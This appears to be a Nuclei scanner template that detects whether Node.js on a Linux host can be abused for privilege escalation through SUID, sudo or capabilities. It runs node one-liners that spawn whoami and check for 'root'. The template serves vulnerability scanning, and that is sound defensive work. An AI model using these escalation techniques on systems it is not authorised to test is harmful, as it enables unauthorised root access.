id: privesc-node info: name: Node - Privilege Escalation author: daffainfo severity: high description: | Node.js is a popular open-source, cross-platform JavaScript runtime environment that executes JavaScript code outside of a web browser. It is commonly used for building scalable network applications and is known for its event-driven, non-blocking I/O model. Node.js is widely used for server-side scripting and has a large ecosystem of libraries and frameworks. reference: - https://gtfobins.github.io/gtfobins/node/ metadata: verified: true tags: code,linux,node,privesc self-contained: true code: - engine: - sh - bash source: | whoami #SUID - engine: - sh - bash source: | node -e 'require("child_process").spawn("whoami", {stdio: [0, 1, 2]})' #SUDO - engine: - sh - bash source: | sudo node -e 'require("child_process").spawn("whoami", {stdio: [0, 1, 2]})' #Capabilities - engine: - sh - bash source: | node -e 'process.setuid(0); require("child_process").spawn("whoami", {stdio: [0, 1, 2]})' matchers-condition: and matchers: - type: word part: code_1_response words: - "root" negative: true - type: dsl dsl: - 'contains(code_2_response, "root")' - 'contains(code_3_response, "root")' - 'contains(code_4_response, "root")' condition: or